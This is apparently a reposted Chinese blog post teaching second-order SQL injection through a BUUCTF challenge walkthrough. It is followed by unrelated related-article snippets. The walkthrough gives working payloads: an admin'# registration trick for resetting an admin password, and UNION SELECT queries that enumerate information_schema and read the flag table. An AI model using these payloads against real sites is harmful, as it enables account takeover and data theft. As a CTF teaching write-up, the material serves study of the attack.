以题为例 浅谈sql注入二次注入

什么是二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

可以理解为就是第一次注入并不是为了直接注入,第一次注入不会影响什么,第二次注入才会导致注入的产生,达到自己的目的

题型

二次注入的特点就是会给你一个登录页面以及注册页面,有时候注册页面还要需要你自己去找,但这个注册页面一般为url+register.php,然后在注册时去猜测它的sql注册语句如你注册了一个admin'#,密码自己设置,就可能会把admin后面的sql语句给注释掉,那么你的用户名就是admin,密码就是你设置那个,也就是说你把管理员的密码重新设置了,但不一定是单引号闭合;

有的题是注册和修改密码配合在一起了,如https://www.cnblogs.com/jackie-lee/p/16124022.html

 这位大佬就是用的这个实验做的相关的题型

例题

多说无益,用题去见真章

buuctf October 2019 Twice SQL Injection 1

题目名字就已经告诉我们,这就是一个二次注入的题目

打开网页有两个页面,一个是登录页面,一个注册页面,去注册页面注册一个账号,然后登录上去先看看情况,看看注入点在哪里,注册之后登录上面之后发现一个框,可以输入东西并在上面显示,试一下sql注入相关的语句,发现它会对关键符号进行转义;

 先不管这里了,去别的地方测试测试,那么下一个地方就是用注册和登录了,想用上面的知识点注册一个管理员页面,但不行,我感觉原因就是这个知识点用admin'#这个账号注册的知识点,需要和修改密码哪里配合使用,但这里只有注册和登录页面,所以我想着直接用sql语句看看会不会执行

用户名:1" union select database()#

密码:1

注册发现并没有太大的变化

试一试单引号

用户名:1' union select database()#

账号:1

发现回显出了数据库,感觉有戏

继续

1‘ union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

1’ union select group_concat(column_name) from information_schema.columns where table_name='flag'#

1‘ union select flag from flag #

得到flag

随后如果在找到相关二次注入的题目,本篇博客会继续更新;

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/737666.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux/Validation

Enumeration nmap 第一次扫描发现系统对外开放了22,80,4566和8080端口,端口详细信息如下 系统对外开放了4个端口,从nmap的结果来看,8080无法访问,手动尝试后4566也无法访问,只能从80端口开始 …

机器视觉中应用正态分布

笔记来源—— 【工程数学基础】9_阈值如何选取??在机器视觉中应用正态分布和6-Sigma【这是一期不需要记笔记的轻松视频,简单的知识,重要的运用】 比如我们要识别我们的产品上面是否有保护膜,我们可以通过白色像素点的…

c# combox 行间距调整

初始化combox comboBox1.DropDownStyle ComboBoxStyle.DropDownList;comboBox1.ItemHeight 25; // 设置 combox 的行高comboBox1.DrawMode DrawMode.OwnerDrawVariable; 添加 DrawItem 事件 private void comboBox1_DrawItem(object sender, DrawItemEventArgs e){if (…

二次封装 element-plus的Table 表格组件,减少代码臃肿

为什么要二次封装element-plus的Table 表格组件,言简意赅:以后难免会在表格里面加一些统一的逻辑,可以在表格里面书写重复的方法或样式 封装后的使用方式 props 参数类型可选值默认值说明tableDataArray——表格数据tableConfigArray——表…

OpenStack安装步骤

一、准备OpenStack安装环境 1、创建实验用的虚拟机实例。 内存建议16GB(8GB也能运行)CPU(处理器)双核且支持虚拟化硬盘容量不低于200GB(!)网络用net桥接模式 运行虚拟机 2、禁用防火墙与SELin…

【CSP】2022-03-3 计算资源调度器 stl大模拟使用map优化索引 完整思路+完整的写代码过程(遇到的问题)+完整代码

2022-03-3 计算资源调度器 stl大模拟使用map优化索引 2022-03-3 计算资源调度器 stl大模拟使用map优化索引思路写代码的过程(遇到的问题)完整代码 2022-03-3 计算资源调度器 stl大模拟使用map优化索引 在联系了之前那么多道stl大模拟题后,终…

揭秘PostgreSQL:超越传统数据库的无限可能!

介绍:PostgreSQL是一个功能强大的开源对象关系数据库系统。以下是对PostgreSQL的详细介绍: 开源性:PostgreSQL是完全开源的,这意味着任何人都可以自由地获取、使用和修改它的源代码。 可定制性:它具有高度可定制性&…

问题解决:NPM 安装 TypeScript出现“sill IdealTree buildDeps”

一、原因: 使用了其他镜像(例如我使用了淘宝镜像 npm config set registry https://registry.npm.taobao.org/ ) 二、解决方法: 1.切换为原镜像 npm config set registry https://registry.npmjs.org 安装typescript npm i …

前端开发的发展史:框架与技术栈的演变

🌟 前言 欢迎来到我的技术小宇宙!🌌 这里不仅是我记录技术点滴的后花园,也是我分享学习心得和项目经验的乐园。📚 无论你是技术小白还是资深大牛,这里总有一些内容能触动你的好奇心。🔍 &#x…

告别“死记硬背”,坐席助手让客服新手秒变大咖

在客服行业,新手客服人员常常面临着两大难题:一是需要死记硬背大量的标准答案,二是培训时间长,上岗速度慢。然而,随着科技的发展,这些问题正逐渐得到。今天,我们要为大家介绍一款革命性的客服工…

STM32CubeIDE基础学习-STM32CubeIDE软件新增工程文件夹

STM32CubeIDE基础学习-STM32CubeIDE软件新增工程文件夹 文章目录 STM32CubeIDE基础学习-STM32CubeIDE软件新增工程文件夹前言第1章 添加文件夹第2章 添加文件路径2.1 相对路径方法2.2 绝对路径方法 总结 前言 在编程的过程中,如果需要在原有的工程基础上新增其它的…

哈希表|202.快乐数

力扣题目链接 int getSum(int n) {int sum 0;while (n) {sum (n % 10) * (n % 10);n / 10;}return sum; }bool isHappy(int n){int sum getSum(n);int hash[820] {0};while (sum ! 1) {if (hash[sum] 1) {return false;} else {hash[sum];}sum getSum(sum);}return true…

探索未来:2024年人工智慧驱动的 AI + 研发趋势

#2024 AI 辅助研发趋势# 当我们站在2024年的风口浪尖时,人工智慧辅助研发的格局即将发生翻天覆地的变化。2023年人工智慧的快速发展为各行业的突破性进步铺平了道路。从研发流程的数位转型,到 AI 开发工具2.0 的出现,未来充满了超越 Copilot…

基于数组的顺序表删除操作

删除算法需要注意&#xff1a; 1. 列表长度为0时不能再删除 2.每次删除后长度减一 3.输入删除的数据在原来列表中不存在&#xff0c;不需要改变原列表 #include <iostream> #define MAX 100; using namespace std;int search(int arr[],int len,int n) {for(int i0; i…

【2024泰迪杯】A 题:生产线的故障自动识别与人员配置 Python代码实现

【2024泰迪杯】A 题&#xff1a;生产线的故障自动识别与人员配置 Python代码实现 1 问题 一、问题背景 随着新兴信息技术的大规模应用&#xff0c;工业生产线的智能化控制技术日益成熟。自动生产线 可以自动完成物品传送、物料填装、产品包装和质量检测等过程&#xff0c;极…

LeetCode - 寻找数组的中心

先学习一下前缀和吧 LCR 012.寻找数组的中心LCR 012. 代码解析 在读题读到左侧元素之和等于右侧所有元素之和的时候&#xff0c;我觉得可以用前缀和&#xff0c;然后结合下面的示例&#xff0c;模拟了一下发现确实可以。 我的想法是搞两个数组&#xff0c;一个来存从左到右数…

微信小程序(五十六)逆地址解析示范

注释很详细&#xff0c;直接上代码 温馨提醒&#xff1a;记得给自己的key配额&#xff0c;基础操作与前提配置参考本专栏第五十四篇 新增内容&#xff1a; 1.逆地址解析基础示范 2.开放经纬度参数 3.只列举修改的js部分&#xff0c;前提配置请看 温馨提醒 源码&#xff1a; ind…

软件开发人员从0到1实现物联网项目:需求分析

文章目录 前言市场调研线下考察竞品参考 项目目标功能需求用户端功能需求商家功能需求系统管理功能需求 非功能需求性能安全性易用性扩展性可靠性 小结 前言 上文对实现自助棋牌室项目涉及到的技术做了调研&#xff0c;尤其是物联网技术。那接下来就是对需求进行一番分析了&am…

王道机试C++第 5 章 数据结构二:队列queue和21年蓝桥杯省赛选择题Day32

目录 5.2 队列 1&#xff0e;STL-queue 课上演示&#xff1a; 基本代码展示&#xff1a; 2. 队列的应用 例:约瑟夫问题 No. 2 题目描述&#xff1a; 思路提示&#xff1a; 代码展示&#xff1a; 例&#xff1a;猫狗收容所 题目描述&#xff1a; 代码表示&#xff1…

蓝桥杯-List集合

目录 List集合实例化 List集合实例化步骤 常用方法 ArrayList方法 1&#xff1a;add(Object element) 2&#xff1a;size() 3&#xff1a;get(int index) 4&#xff1a;isEmpty() 5:contains(Object o) 6&#xff1a;remove(int index) 总结ArrayList list集合的特点…